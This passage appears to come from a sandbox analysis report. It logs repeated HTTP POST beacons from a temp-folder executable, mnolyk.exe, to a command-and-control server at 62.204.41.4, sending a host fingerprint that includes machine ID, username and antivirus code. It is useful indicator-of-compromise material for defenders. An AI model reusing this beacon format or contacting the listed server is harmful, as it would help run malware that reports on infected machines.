Feb 8, 2023 21:31:58.454915047 CET	348	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:58.518615007 CET	348	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.3	49850	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:58.686515093 CET	349	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:58.752574921 CET	349	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.3	49851	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:58.949709892 CET	350	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:59.014894009 CET	350	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49716	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:14.532463074 CET	216	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:14.598109961 CET	216	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.3	49852	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:59.185303926 CET	351	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:59.249834061 CET	351	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.3	49853	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:59.419398069 CET	352	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:59.483755112 CET	352	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.3	49854	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:59.659125090 CET	353	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:59.722232103 CET	353	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.3	49855	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:59.888895035 CET	354	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:59.953712940 CET	354	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.3	49856	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:00.132401943 CET	355	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:00.197011948 CET	355	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.3	49857	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:00.376327991 CET	356	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:00.440331936 CET	356	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.3	49858	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:00.606919050 CET	357	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:00.671504974 CET	357	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.3	49859	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:00.842849970 CET	358	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:00.908272982 CET	358	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.3	49860	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:01.115035057 CET	359	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:01.181586027 CET	359	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.3	49861	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:01.357770920 CET	360	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:01.421011925 CET	360	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49717	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:14.890075922 CET	217	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:14.955146074 CET	217	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.3	49862	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:01.593617916 CET	361	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:01.659683943 CET	361	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.3	49863	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:01.828272104 CET	362	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:01.892541885 CET	362	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.3	49864	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:02.060205936 CET	363	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:02.125123978 CET	363	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.3	49865	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:02.300344944 CET	364	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:02.371283054 CET	364	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.3	49866	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:02.560496092 CET	365	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:02.622514963 CET	365	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.3	49867	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:02.794106007 CET	366	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:02.858184099 CET	366	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.3	49868	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:03.033762932 CET	367	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:03.097748041 CET	367	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.3	49869	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
